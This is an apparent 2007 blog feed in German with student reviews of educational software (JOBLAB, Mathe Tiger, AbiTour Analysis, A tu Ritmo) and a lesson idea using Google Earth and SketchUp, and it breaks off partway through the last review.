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		<description><![CDATA[Vorstellung der Lernsoftware „JOBLAB“ Von Marco Vernisi und Susanne Hipler Inhalte und LernzieleJoblab ist das geheime Unterwasser-Labor zur Berufsfindung. Das Labor umfasst sechs Module: „Berufsdesign“, „Testraum“ (Erstellung eines Pers&#246;nlichkeitsprofils), „Berufe im Vergleich“, „Vernetzung“ (welche Berufe sind &#228;hnlich), „Ich und mein Beruf“ (Abgleich Pers&#246;nlichkeitsprofil aus Modul zwei mit dem Wunschberuf) und „Vereinbarkeitssimulator“ (Beruf und Familie). Bei allen [...]]]></description>
			<content:encoded><![CDATA[<p><strong><u>Vorstellung der Lernsoftware „JOBLAB“</u></strong><strong><u></u></strong><strong><u> </u></strong>Von Marco Vernisi und Susanne Hipler<strong> </strong><strong><strong>Inhalte und Lernziele</strong>Joblab ist das geheime Unterwasser-Labor zur Berufsfindung. Das Labor umfasst sechs Module: „Berufsdesign“, „Testraum“ (Erstellung eines Pers&#246;nlichkeitsprofils), „Berufe im Vergleich“, „Vernetzung“ (welche Berufe sind &#228;hnlich), „Ich und mein Beruf“ (Abgleich Pers&#246;nlichkeitsprofil aus Modul zwei mit dem Wunschberuf) und „Vereinbarkeitssimulator“ (Beruf und Familie). Bei allen Modulen steht der experimentelle Charakter eines Labs im Vordergrund. So bietet das Modul „Berufsdesign“ die M&#246;glichkeit nach pers&#246;nlichen Kriterien wie Flexibilit&#228;t, Abwechslung, Mobilit&#228;t, Fremdsprachenkenntnisse, Kreativit&#228;t, k&#246;rperliche Belastbarkeit, Verantwortung, Verdienst etc. ein Wunschprofil zu erstellen, das mit den 134 Ausbildungsberufen der Datenbank abgeglichen wird. Jedem Ausbildungsberuf ist eine bunte Kugel zugeordnet, die auf einen Scanner gelegt und analysiert werden k&#246;nnen. Auf Knopfdruck sind alle Informationen zu Ausbildungsdauer, Zugangsvoraussetzungen etc. abrufbar. In der Joblab-Videothek finden sich Interviews und Informationen zu einzelnen Berufen, die als Videosequenzen abgespielt werden k&#246;nnen. Tipps f&#252;r eine gelungene Bewerbung runden das Angebot ab. </strong><strong><strong>P&#228;dagogische Eignung </strong>☼☼☼-          JOBLAB kann in der gesamten Phase der Beruforientierung eingesetzt werden-          Es sollte unbedingt eine Vorbereitung erfolgen und eine klare Aufgabenstellung gegeben sein.-          Die gewonnenen Informationen sollten nicht f&#252;r sich stehen bleiben. -          JOBLAB dient unsere Ansicht nach lediglich als Anregung und als Grundlage zu Diskussionen und kann eine pers&#246;nliche Auseinandersetzung mit der Lebenswegplanung ersetzen.<strong>Didaktik </strong>☼☼☼-          Wenig Interaktionsm&#246;glichkeiten-          Sch&#252;ler k&#246;nnen selbst&#228;ndig damit arbeiten-          JOBLAB ist recht anschaulich-          Sch&#246;n sind die verschiedenen Formen und Ebenen der Information (es ist z.B. m&#246;glich die Vereinbarkeit eines bestimmten Berufes und Familie zu &#252;berpr&#252;fen)<strong>Lernerfolge r&#252;ckmelden </strong>☼☼-          JOBLAB bietet keine Lernerfolgskontrolle, da es keine Lernsoftware im eigentlichen Sinne ist-          Nur wenn die Sch&#252;lerInnen k&#246;nnen jedoch ihre Vorstellungen von bestimmten Berufen und vom Arbeitsleben eigenst&#228;ndig &#252;berpr&#252;fen<strong>Spa&#223; und Gestaltung </strong>☼☼☼-          Ehr m&#228;&#223;ig spa&#223;ig-          Wir glauben aber schon, dass eine bestimmter kurzfristiger Reiz von JOBLAB ausgeht-          Die Gestaltung ist f&#252;r eine Software dieser Art ganz nett<strong>Ausstattung/Handhabung</strong> ☼☼☼☼-          Die ist Software absolut kompatibel-          F&#252;r das Abspielen der Filme ist Sound nat&#252;rlich sch&#246;n, sonst aber nicht zwingend n&#246;tig<strong>Preis/ Leistung</strong> ☼☼☼☼☼-          JOBLAB ist kostenlos und ohne Lizenz erh&#228;ltlich!-          Man kann es sogar kostenlos downloaden!</p>
<p></strong></p>
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		<title>Beurteilung Lernsoftware &#8220;JOBLAB&#8221;</title>
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		<pubDate>Wed, 18 Jul 2007 14:02:22 +0000</pubDate>
		<dc:creator>Susanne</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Vorstellung der Lernsoftware „JOBLAB“  Von Marco Vernisi und Susanne Hipler  Inhalte und LernzieleJoblab ist das geheime Unterwasser-Labor zur Berufsfindung. Das Labor umfasst sechs Module: „Berufsdesign“, „Testraum“ (Erstellung eines Pers&#246;nlichkeitsprofils), „Berufe im Vergleich“, „Vernetzung“ (welche Berufe sind &#228;hnlich), „Ich und mein Beruf“ (Abgleich Pers&#246;nlichkeitsprofil aus Modul zwei mit dem Wunschberuf) und „Vereinbarkeitssimulator“ (Beruf und Familie). Bei [...]]]></description>
			<content:encoded><![CDATA[<p><strong><u>Vorstellung der Lernsoftware „JOBLAB“</u></strong><strong><u> </p>
<p></u></strong>Von Marco Vernisi und Susanne Hipler<strong> </p>
<p></strong><strong>Inhalte und Lernziele</strong>Joblab ist das geheime Unterwasser-Labor zur Berufsfindung. Das Labor umfasst sechs Module: „Berufsdesign“, „Testraum“ (Erstellung eines Pers&#246;nlichkeitsprofils), „Berufe im Vergleich“, „Vernetzung“ (welche Berufe sind &#228;hnlich), „Ich und mein Beruf“ (Abgleich Pers&#246;nlichkeitsprofil aus Modul zwei mit dem Wunschberuf) und „Vereinbarkeitssimulator“ (Beruf und Familie). Bei allen Modulen steht der experimentelle Charakter eines Labs im Vordergrund. So bietet das Modul „Berufsdesign“ die M&#246;glichkeit nach pers&#246;nlichen Kriterien wie Flexibilit&#228;t, Abwechslung, Mobilit&#228;t, Fremdsprachenkenntnisse, Kreativit&#228;t, k&#246;rperliche Belastbarkeit, Verantwortung, Verdienst etc. ein Wunschprofil zu erstellen, das mit den 134 Ausbildungsberufen der Datenbank abgeglichen wird. Jedem Ausbildungsberuf ist eine bunte Kugel zugeordnet, die auf einen Scanner gelegt und analysiert werden k&#246;nnen. Auf Knopfdruck sind alle Informationen zu Ausbildungsdauer, Zugangsvoraussetzungen etc. abrufbar. In der Joblab-Videothek finden sich Interviews und Informationen zu einzelnen Berufen, die als Videosequenzen abgespielt werden k&#246;nnen. Tipps f&#252;r eine gelungene Bewerbung runden das Angebot ab. </p>
<p><strong>P&#228;dagogische Eignung </strong>☼☼☼-          JOBLAB kann in der gesamten Phase der Beruforientierung eingesetzt werden-          Es sollte unbedingt eine Vorbereitung erfolgen und eine klare Aufgabenstellung gegeben sein.-          Die gewonnenen Informationen sollten nicht f&#252;r sich stehen bleiben. -          JOBLAB dient unsere Ansicht nach lediglich als Anregung und als Grundlage zu Diskussionen und kann eine pers&#246;nliche Auseinandersetzung mit der Lebenswegplanung ersetzen.<strong>Didaktik </strong>☼☼☼<strong></strong>-          Wenig Interaktionsm&#246;glichkeiten-          Sch&#252;ler k&#246;nnen selbst&#228;ndig damit arbeiten-          JOBLAB ist recht anschaulich-          Sch&#246;n sind die verschiedenen Formen und Ebenen der Information (es ist z.B. m&#246;glich die Vereinbarkeit eines bestimmten Berufes und Familie zu &#252;berpr&#252;fen)<strong>Lernerfolge r&#252;ckmelden </strong>☼☼<strong></strong>-          JOBLAB bietet keine Lernerfolgskontrolle, da es keine Lernsoftware im eigentlichen Sinne ist-          Nur wenn die Sch&#252;lerInnen k&#246;nnen jedoch ihre Vorstellungen von bestimmten Berufen und vom Arbeitsleben eigenst&#228;ndig &#252;berpr&#252;fen<strong>Spa&#223; und Gestaltung </strong>☼☼☼<strong></strong>-          Ehr m&#228;&#223;ig spa&#223;ig-          Wir glauben aber schon, dass eine bestimmter kurzfristiger Reiz von JOBLAB ausgeht-          Die Gestaltung ist f&#252;r eine Software dieser Art ganz nett<strong>Ausstattung/Handhabung</strong> ☼☼☼☼-          Die ist Software absolut kompatibel-          F&#252;r das Abspielen der Filme ist Sound nat&#252;rlich sch&#246;n, sonst aber nicht zwingend n&#246;tig<strong>Preis/ Leistung</strong> ☼☼☼☼☼-          JOBLAB ist kostenlos und ohne Lizenz erh&#228;ltlich!-          Man kann es sogar kostenlos downloaden!</p>
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		<title>Mathe Tiger</title>
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		<pubDate>Mon, 16 Jul 2007 19:40:05 +0000</pubDate>
		<dc:creator>yjordan</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Eine Freundin von mir setzt in ihrer Klasse (Grundschule) den Mathetiger sehr erfolgreich ein. Die Kinder d&#252;rfen immer dann damit rechnen, wenn sie ihre Aufgaben fertig gel&#246;st haben. Sie sagt, dass die Kinder sehr viel Spa&#223; daran haben und gerne damit rechnen. Ich glaube uns kommt es einfach zu bunt und zu quietschig vor, aber [...]]]></description>
			<content:encoded><![CDATA[<p>Eine Freundin von mir setzt in ihrer Klasse (Grundschule) den Mathetiger sehr erfolgreich ein. Die Kinder d&#252;rfen immer dann damit rechnen, wenn sie ihre Aufgaben fertig gel&#246;st haben. Sie sagt, dass die Kinder sehr viel Spa&#223; daran haben und gerne damit rechnen.</p>
<p>Ich glaube uns kommt es einfach zu bunt und zu quietschig vor,  aber Kinder m&#246;gen das.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>AbiTour Analysis</title>
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		<pubDate>Fri, 13 Jul 2007 13:08:01 +0000</pubDate>
		<dc:creator>Birte Feldker</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Aufgaben]]></category>

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		<description><![CDATA[Vorstellung der Lernsoftware &#8220;AbiTour Analysis&#8221; Name: AbiTour Analysis f&#252;r das Fach Mathematik Erschienen im Heureka Klett Softwareverlag Preis: 39.90 Euro Klassenstufe 11-13 Die Software besitzt folgende Funktionen und Inhalte: 1. &#220;bungen: Es k&#246;nnen verschiedene &#220;bungen aus den Teilbereichen der Analysis ausgew&#228;hlt werden. Der Schwierigkeitsgrad steigert sich. Die Aufgaben werden nach der L&#246;sung durch das Programm [...]]]></description>
			<content:encoded><![CDATA[<p><u></u><u></u><u></u><u></u><u></u><u><font size="5" face="Arial"></p>
<p align="justify"><strong>Vorstellung der Lernsoftware &#8220;AbiTour Analysis&#8221;</strong></p>
<ul><font size="4" face="Arial"></p>
<li>Name: AbiTour Analysis f&#252;r das Fach Mathematik</li>
<li>Erschienen im Heureka Klett Softwareverlag</li>
<li>Preis: 39.90 Euro</li>
<li>Klassenstufe 11-13</li>
<li>Die Software besitzt folgende Funktionen und Inhalte:</li>
<p><strong>1. &#220;bungen</strong>: Es k&#246;nnen verschiedene &#220;bungen aus den Teilbereichen der Analysis ausgew&#228;hlt werden. Der Schwierigkeitsgrad steigert sich. Die Aufgaben werden nach der L&#246;sung durch das Programm korrigiert.</p>
<p><strong>2. Abiaufgaben:</strong> Hier k&#246;nnen die Abituraufgaben verschiedener Jahrg&#228;nge aus den einzelnen Bundesl&#228;ndern gel&#246;st werden.</p>
<p><strong>3. Gewusst wie?!:</strong> Bei Problemen in den &#220;bungen k&#246;nnen bestimmte Formeln in ihrer Anwendung nachvollzogen werden.</p>
<p><strong>4. Grundlagen:</strong> Es werden Beweise und Herleitungen f&#252;r Formeln gegeben. Zudem werden Begriffe erkl&#228;rt. Viele weitere Begriffe sind verlinkt. So kann sich der Sch&#252;ler weiter informieren.</p>
<p><strong>5. Internet:</strong> In diesem Bereich wird der Sch&#252;ler direkt auf die Startseite des Klett-Verlags geleitet.</p>
<p><strong>6. Funktionsplotter:</strong> Das Programm zeichnet eingegebene Funktionen.</p>
<p><strong>7. Rechenblatt:</strong> Hier k&#246;nnen Rechnungen durchgef&#252;hrt werden, um dies nicht per Hand mit Stift und Papier tun zu m&#252;ssen.</p>
<ul><u><font size="5" face="Arial"><font size="4" face="Arial"></p>
<ul><u><font size="5" face="Arial"></p>
<p align="justify">&nbsp;</p>
<p align="justify"><strong>Bewertung der Software</strong></p>
<p></font></u><font size="5" face="Arial"></p>
<p align="justify"><strong>Inhalt</strong></p>
<p align="justify"><font face="Arial"><strong>Pro:</strong></font></p>
<p></font></ul>
<p></font></font></u><font face="Arial"><font size="4" face="Arial"></p>
<li>Die Lernsoftware beinhaltet verschieden Schwierigkeitsstufen, die von simplen Einstiegs- bis hin zu sehr anspruchsvollen Abituraufgaben reichen.</li>
<li>Ein Link zum Internet ist vorhanden. Dieser verweist bei einem Klick auf diesen auf die Internetseite vom Klett Verlag.</li>
<li>Bei m&#246;glichen Wissensl&#252;cken bietet die Software eine besondere Hilfsfunktion. In den Erkl&#228;rungstexten sind einige Stichw&#246;rter verlinkt. Um ein Gebiet der Mathematik oder auch nur ein einzelnes Wort nachzuschlagen muss man nicht extra ins Internet um nach diesen zu suchen, sondern kommt bei einem erneuten Klick auf das Wort zu dessen Erkl&#228;rung.</li>
<li>Das Niveau der gesamten Lernsoftware ist der Zielgruppe angemessen. Unterrichtsinhalte aus der Unter- bzw. Mittelstufe werden vorausgesetzt, allerdings werden neue Lerninhalte von klein auf erl&#228;utert und ge&#252;bt.</li>
<li>Um einer &#8220;P&#228;ckchenaufgabenrechnung&#8221;, sprich Rezeptmathematik oder auch Mathematikaufgaben nach immer demselben Muster entgegen-wirken zu k&#246;nnen steht eine Vielzahl an unterschiedlichen Aufgaben zur Verf&#252;gung.</li>
<li>Zudem werden s&#228;mtliche Teilbereiche der Analysis, die in der Schule behandelt werden abgedeckt. Diese reichen von der Differential- bis zur Integralrechnung.</li>
<p></font></font></ul>
<p></font></ul>
<p></font></u><font size="4" face="Arial"></p>
<p align="justify"><strong>Kontra:</strong></p>
<ul><font size="4" face="Arial"></p>
<li>Die Lernsoftware bietet keinen Bezug zu individuellen Lernvoraus-setzungen. Das hei&#223;t, dass wenn man ein Themengebiet von der CD bearbeiten m&#246;chte, alle Sch&#252;ler an derselben Stelle beginnen. Man beginnt stets am Anfang eines jeden Schwierigkeitsgrades und kommt erst zu einem anspruchsvolleren Schwierigkeitsgrad, wenn man ein paar Aufgaben gerechnet und die integrierte Korrekturfunktion bet&#228;tigt hat (sehr umst&#228;ndlich).</li>
<li>Nun zur angesprochenen Fehlerkorrektur. Benutzt man diese und hat in der Bearbeitung einer Aufgabe einen Fehler gemacht, wird dieser mit einem dicken roten Kringel gekennzeichnet aber keineswegs erl&#228;utert, was man falsch gemacht hat, geschweige denn wie der richtige L&#246;sungsweg auszusehen h&#228;tte.</li>
<li>Bereits unter &#8220;Pro&#8221; angedeutet wird die Mathematik der Mittel- und Unterstufe vorausgesetzt. Dies ist auch verst&#228;ndlich. Allerdings gibt es im weiteren Verlauf einer m&#246;glichen Bearbeitung keinerlei Hinweise auf eventuelle Voraussetzungen. Wollte man beispielsweise Aufgaben zur Integralrechnung bearbeiten, so ben&#246;tigt man in vielen F&#228;llen die Differentialrechnung als Unterbau. Dies wird aber nirgendwo gefordert und visualisiert.<font size="5" face="Arial">
<p align="justify"><strong> </strong><font size="5" face="Arial"><strong>P&#228;dagogische Eignung und Didaktik</strong></font></p>
<p></font></li>
<p></font></ul>
<p></font><font size="4" face="Arial"></p>
<p align="justify"><strong>Pro:</strong></p>
<ul><font size="4" face="Arial"></p>
<li>Die Lerninhalte sind mit den Inhalten der Lehrpl&#228;ne abgestimmt.</li>
<li>Die Lernsoftware bietet die M&#246;glichkeit diese in jeder Lernphase anzuwenden. Man kann sie benutzen um in ein Thema einzusteigen, dieses stur an Aufgaben zu &#252;ben, zu festigen oder auch um sich auf die Abiturpr&#252;fung vorzubereiten.</li>
<li>Die Software ist durch die Aufgabenvielfalt mit unterschiedlichen Schwierigkeitsstufen eine gute Unterst&#252;tzung im Lernprozess.</li>
<li>Um beispielsweise Funktionen einer Kurvendiskussion oder Fl&#228;chen von Funktionen bei der Integralrechnung nicht erst selber zeichnen zu m&#252;ssen, werden diese in einem separaten Dialogfeld graphisch dargestellt. Um unter anderem Vergleiche von Funktionen zu erm&#246;glichen k&#246;nnen auch mehrere Funktion in den selben Graphen angezeigt werden.</li>
<li>Die graphische Darstellung ist sehr &#252;bersichtlich und verzichtet auf jeglichen Schnick Schnack. So ist eine &#252;bersichtliche Bearbeitung stets gew&#228;hrleistet und sehr anschaulich.</li>
<li>Auch unter dem Punkt &#8220;Inhalt&#8221; bereits angedeutet, bietet der Klett Verlag mit dieser Lern CD ausreichend &#220;bungsmaterial. So kann man zu Beispiel &#252;ber einhundertmal den Aufgabentypen f(x)= 30x ableiten.</li>
<li>Ein eventueller Lernerfolg wird visuell dargestellt. Bei erfolgreicher Bearbeitung der Aufgaben entsteht ein kleines, stets anwachsendes gr&#252;nes Quadrat.</li>
<p></font></ul>
<p></font><font size="4" face="Arial"></p>
<p align="justify"><strong>Kontra:</strong></p>
<ul><font size="4" face="Arial"></p>
<li>Bez&#252;glich der R&#252;ckmeldung des Lernerfolges ist allerdings noch zu sagen, dass dieser Prozess sehr, sehr lange dauert und es keine individuelle Aufgabenr&#252;ckmeldung gibt. Nur bei einer fehlerhaften Bearbeitung erscheint der &#8220;sehr sch&#246;ne&#8221; rote Kringel.</li>
<li>Der Umgang mit der CD erfordert ein sehr hohes Ma&#223; an Selbstverantwortung. Man kann sich L&#246;sungen, beispielsweise den Verlauf eines Grafen wunderbar ohne die Berechnung der einzelnen Extrema oder Nullstellen anzeigenlassen und m&#252;sste nunmehr nicht mehr selber rechnen. Das Programm verleitet also zum Schummeln.</li>
<li>F&#252;r eine bessere Darstellung der Funktionen ist die Lernsoftware im Unterricht durchaus einsetzbar. Um die klassischen Aufgaben der Analysis zu rechnen ist ein handels&#252;blicher Taschenrechner vollkommen ausreichend. Zudem kommt der Aspekt der M&#246;glichkeit nicht selbst zu rechnen, sondern lieber rechnen zu lassen.</li>
<li>So gut die Aufgaben der einzelnen Themengebiete der Analysis auch sind, so werden Transferaufgaben doch sehr vermisst. Klett bietet keinerlei Aufgaben an, die themen&#252;bergreifend sind.</li>
<li>Zu guter letzt gibt es keine differenzierte R&#252;ckmeldung oder gar L&#246;sungsbeispiele um die Aufgaben besser verstehen zu k&#246;nnen.</li>
<p></font></ul>
<p></font><font size="5" face="Arial"></p>
<p align="justify"><strong>Ausstattung und Preis- Leistung</strong></p>
<p></font><font size="4" face="Arial"></p>
<p align="justify"><strong>Pro:</strong></p>
<ul><font size="4" face="Arial"></p>
<li>Der PC auf dem AbiTour Analysis &#8220;laufen&#8221; soll, muss keinen besonderen Systemvoraussetzungen gen&#252;gen. Die CD wird sowohl von Windows- als auch von Mac- Rechnern erkannt.</li>
<li>Sinnvoll ist die Druckfunktion, mit der man die Aufgaben und auch die Graphen ausdrucken kann.</li>
<p></font></ul>
<p></font><font size="4" face="Arial"></p>
<p align="justify"><strong>Kontra:</strong></p>
<ul><font size="4" face="Arial"></p>
<li>Der Preis ist mit 39.90 € als sehr hoch einzusch&#228;tzen, zumal es &#228;hnliche und auch besserer dynamische Matheprogramme als Freeware im Internet gibt.</li>
<li>Die Software gibt es nicht als Schullizenz geeignet, da das Programm nur mit eingelegter CD funktioniert. Es ist also eine Sch&#252;lersoftware.</li>
<p></font></ul>
<p></font><font size="5" face="Arial"></p>
<p align="justify"><strong>Spa&#223; und Gestaltung</strong></p>
<p></font><font size="4" face="Arial"></p>
<p align="justify"><strong>Pro:</strong></p>
<ul><font size="4" face="Arial"></p>
<li>Die Graphik (vor allem der Startseite und des Funktionsplotters) ist ansprechend.</li>
<p>Kleine Etappen f&#252;hren den Sch&#252;ler Schritt f&#252;r Schritt zum Lernerfolg.<font size="4" face="Arial"> </font><font size="4" face="Arial"></p>
<p align="justify"><strong>Kontra:</strong></p>
<p><font size="4" face="Arial"></p>
<ul>
<li>Da das Programm ausschlie&#223;lich auf das Lernen ausgerichtet ist, sind die spielerischen Aspekte nicht vorhanden.</li>
<li>Es gibt keinerlei Soundeffekte.</li>
<li>Zudem existieren wenig motivationsf&#246;rdernde Elemente und sp&#228;testens bei der drei&#223;igsten Ableitung von x<sup>2</sup> droht die Gefahr der &#8220;Abstumpfung&#8221;.</li>
<p align="justify">&nbsp;</p>
</ul>
<p></font></font></font></ul>
<p></font><font size="5" face="Arial"></p>
<p align="justify"><strong>Unterrichtseinsatz</strong></p>
<p></font><font size="4" face="Arial"></p>
<p align="justify">Die Lernsoftware AbiTour Analysis ist nur bedingt im Mathematikunterricht einsetzbar. Durch die M&#246;glichkeit auch komplexere Funktionen und Gebilde graphisch darzustellen, kann die Software als Hilfsmittel im Unterricht verwendet werden.</p>
<p align="justify">Beabsichtigt man, ein Thema der Analysis beispielsweise in Gruppenarbeit bearbeiten zu lassen, kann die Lern CD daf&#252;r ein Zusatzmittel darstellen. Mit dieser k&#246;nnen Themen selbstst&#228;ndig in der Gruppe diskutiert und mit Aufgaben unterschiedlichen Schwierigkeitsgrades bearbeitet werden.</p>
<p align="justify">Um jedoch eine genaue Fehlerkorrektur zu betreiben oder unterschiedliche L&#246;sungswege auf ihre Richtigkeit zu kontrollieren bedarf es mehr als die sturen Vorgehensweisen der Software. Ein Lehrer kann eben doch besser an der Wurzel des Problems angreifen und Fehlvorstellungen bereits in ihrer Entstehungsphase beseitigen. Mit der CD ist dies nicht m&#246;glich.</p>
<p align="justify">Durch die Tatsache, dass keine Transferaufgaben auf der CD vorhanden sind k&#246;nnen keine komplexeren Aufgaben, wie sie etwa im Abitur vorkommen ge&#252;bt werden.</p>
<p align="justify">Lediglich der Funktionsplotter k&#246;nnte f&#252;r den Lehrer im Unterricht genutzt werden. Durch diesen kann er den Sch&#252;lern selbst schwierigste Funktionen grafisch darstellen. So kann Unterricht anschaulicher gestaltet werden. Allerdings bietet dieses kein eigenst&#228;ndiges Arbeiten und Lernen f&#252;r die Sch&#252;ler und hat nur bedingt mit dem eigentlichen Sinn der Software zu tun.</p>
<p align="justify">AbiTour Analysis kann nur ein Zusatzmittel f&#252;r den Unterricht sein. Wollte man jeden Sch&#252;ler mit einer Lern CD ausstatten, so w&#252;rde man vor dem n&#228;chsten Problem stehen. Der Klett Verlag bietet keine Schullizenz an. Somit m&#252;sste sich jeder Sch&#252;ler die Software f&#252;r teure 39,90 Euro kaufen oder der Lehrer visualisiert die gew&#252;nschten Anwendungen via Beamer.</p>
<p align="justify">Wir sehen die Software nur als Hilfsmittel f&#252;r das selbstst&#228;ndige Lernen und &#220;ben zu Hause. Aus eigener Erfahrung spielt dabei auch der Aspekt, die M&#246;glichkeit zum Schummeln zu haben eine &#252;bergeordnete Rolle. Hat der Lehrer nicht aufgepasst, wurden immer andere Dinge gemacht, als die die gemacht werden sollten. Der Sch&#252;ler wird durch die L&#246;sungsfunktion regerecht dazu verleitet, nichts selber zu machen.</p>
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<p></font><font size="4" color="#ff0000" face="Arial"></p>
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]]></content:encoded>
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		<title>Erg&#228;nzung der Unterrichtskonzeption Sim City 3000 mit Google Earth</title>
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		<pubDate>Thu, 12 Jul 2007 06:56:19 +0000</pubDate>
		<dc:creator>Wesemann</dc:creator>
				<category><![CDATA[Aufgaben]]></category>

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		<description><![CDATA[In Erg&#228;nzung zu unseren Unterrichtskonzeptionen zu Sim City 3000 ist auch durch Google Earth eine sinnvolle Nutzung in der Schule m&#246;glich. Zum einen weil es kostenlos ist und zum anderen kann es in diversen F&#228;chern eingesetzt werden kann. So k&#246;nnte man sich vorstellen, mit Hilfe des Google Programms „Sketch up“ Geb&#228;ude nachzubauen (z.B. markante Bauten [...]]]></description>
			<content:encoded><![CDATA[<p>In Erg&#228;nzung zu unseren Unterrichtskonzeptionen zu Sim City 3000 ist auch durch Google Earth eine sinnvolle Nutzung in der Schule m&#246;glich. Zum einen weil es kostenlos ist und zum anderen kann es in diversen F&#228;chern eingesetzt werden kann. So k&#246;nnte man sich vorstellen, mit Hilfe des Google Programms „Sketch up“ Geb&#228;ude nachzubauen (z.B. markante Bauten aus Bremen) und diese dann auch in Google Earth hochzuladen (Hinweis: in Bremen ist erst die M&#252;hle in der City und ein Verwaltungsgeb&#228;ude nachgebaut worden). Dem Sch&#252;ler werden hierdurch erste Erfahrungen mit dem 3D Programm vermittelt (Einsatz denkbar in Informatik, Mathe, Kunst, Geschichte). Weil die Men&#252;f&#252;hrung sehr einfach, intuitiv, schrittweise aufgebaut ist (im Gegensatz zu anderen herk&#246;mmlichen 3D Programmen CAD/MAYA) wird jeder Sch&#252;ler Ergebnisse erreichen (vom z.B. eigenen Heim bis hin Eiffelturm). Ebenso ist ein Einsatz in einer Projektwoche denkbar, wenn eine gr&#246;&#223;ere Aufgabe (Bau eines Stadtteils oder monumentalen Bauwerks) in Gruppenarbeit durchgef&#252;hrt werden soll.</p>
]]></content:encoded>
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		</item>
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		<title>A tu Ritmo</title>
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		<pubDate>Wed, 11 Jul 2007 20:09:05 +0000</pubDate>
		<dc:creator>jomalohe</dc:creator>
				<category><![CDATA[Aufgaben]]></category>
		<category><![CDATA[Kriterien]]></category>

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		<description><![CDATA[Bearbeitet von : Hanna Doden, Lena Kornau, Sarah Hein, Mauricio Lopez Name des Programms: A tu Ritmo Edinumen Verlag / Madrid www.edinumen.es Inhalt und Lernziele &#160; Themen: 3 Liedtexte + Grammatik Cruz de navajas: Eine Liebesaff&#228;re und ein Verbrechen aus Leidenschaft Gracias a la vida: Folkloristisches Lied aus Lateinamerika (Argentinien), Vertonung eines Gedichts, Mutter Erde [...]]]></description>
			<content:encoded><![CDATA[<p><font color="#000000"><font face="Arial, sans-serif"><font size="3">Bearbeitet von : Hanna Doden, Lena Kornau, Sarah Hein, Mauricio Lopez</font></font></font></p>
<p><font color="#000000"><font face="Arial, sans-serif"><font size="3">Name des Programms: A tu Ritmo</font></font></font></p>
<p><font color="#000000"><font face="Arial, sans-serif"><font size="3">Edinumen Verlag / Madrid</font></font></font></p>
<p><font color="#000080"><u><a href="http://www.edinumen.es/"><font size="3"><font face="Arial, sans-serif">www.edinumen.es</font></font></a></u></font></p>
<p align="center"><font color="#000000"><font face="Arial, sans-serif"><font size="4"><u><strong>Inhalt und Lernziele</strong></u></font></font></font></p>
<p align="center">&nbsp;</p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Themen: 3 Liedtexte + Grammatik</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Cruz de navajas: Eine Liebesaff&#228;re und ein Verbrechen aus Leidenschaft</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Gracias a la vida: Folkloristisches Lied aus Lateinamerika (Argentinien), Vertonung eines Gedichts, Mutter Erde</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Las cuatro y diez: Romantische Ballade (Spanien 70er Jahre)</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">F&#228;cher: Spanisch</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Klassenstuffe: Anfangsunterricht, Ende 1. Lebensjahr</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Schwierigkeitsgrad: Zu anspruchsvoll, zu viel Vokabular und Grammatik f&#252;r die angegebene Klassenstuffe</font></font></font></p>
<p align="left">&nbsp;</p>
<ul>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">authentisch / 3 originale Lieder aus dem Spanischen Sprachraum</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">nicht aktuell</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">unangemessenes Niveau / alle Anleitungen + Erkl&#228;rungen nur auf Spanisch</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">vertiefte Auseinandersetzung m&#246;glich / zum Thema Argentinien (bei Gracias a la Vida)</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">anpassbar an andere Lehrstuffe</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Thematische Breite ausreichend aber unsystematisch gestaltet</font></font></font></p>
</li>
</ul>
<p align="left">&nbsp;</p>
<p align="left"><font size="3"><font face="Arial, sans-serif"><font color="#000000">Bewertung: ☼ ☼</font></font></font></p>
<ul>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">nicht aktuell, was in der Regel nicht die Interesse der Sch&#252;lerInen entspricht.</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Musikgeschmack f&#252;r die Schule sehr schlecht</font></font></font></p>
</li>
</ul>
<p align="left">&nbsp;</p>
<p align="left">&nbsp;</p>
<p align="center"><font color="#000000"><font face="Arial, sans-serif"><font size="4"><u><strong>P&#228;dagogische Eignung</strong></u></font></font></font></p>
<p align="left">&nbsp;</p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Nutzung: m&#246;glich in Gruppen, aber f&#252;r Alleinarbeit gedacht / kein Multiplayer</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Einsatz in welcher Phase: in allen Phasen m&#246;glich</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Spielzeit: 10 Min. minimal</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Minimale sinnvolle Spielzeit: 10 Minuten minimal / maximal 30 Minuten (wegen der Konzentration).</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">F&#246;rderung der Selbstlernkompetenz: man muss es selber wollen, da es sonst schaffbar ist die Aufgaben auch zu bestehen ohne zu denken. Man br&#228;chte nur auf die L&#246;sungen klicken.</font></font></font></p>
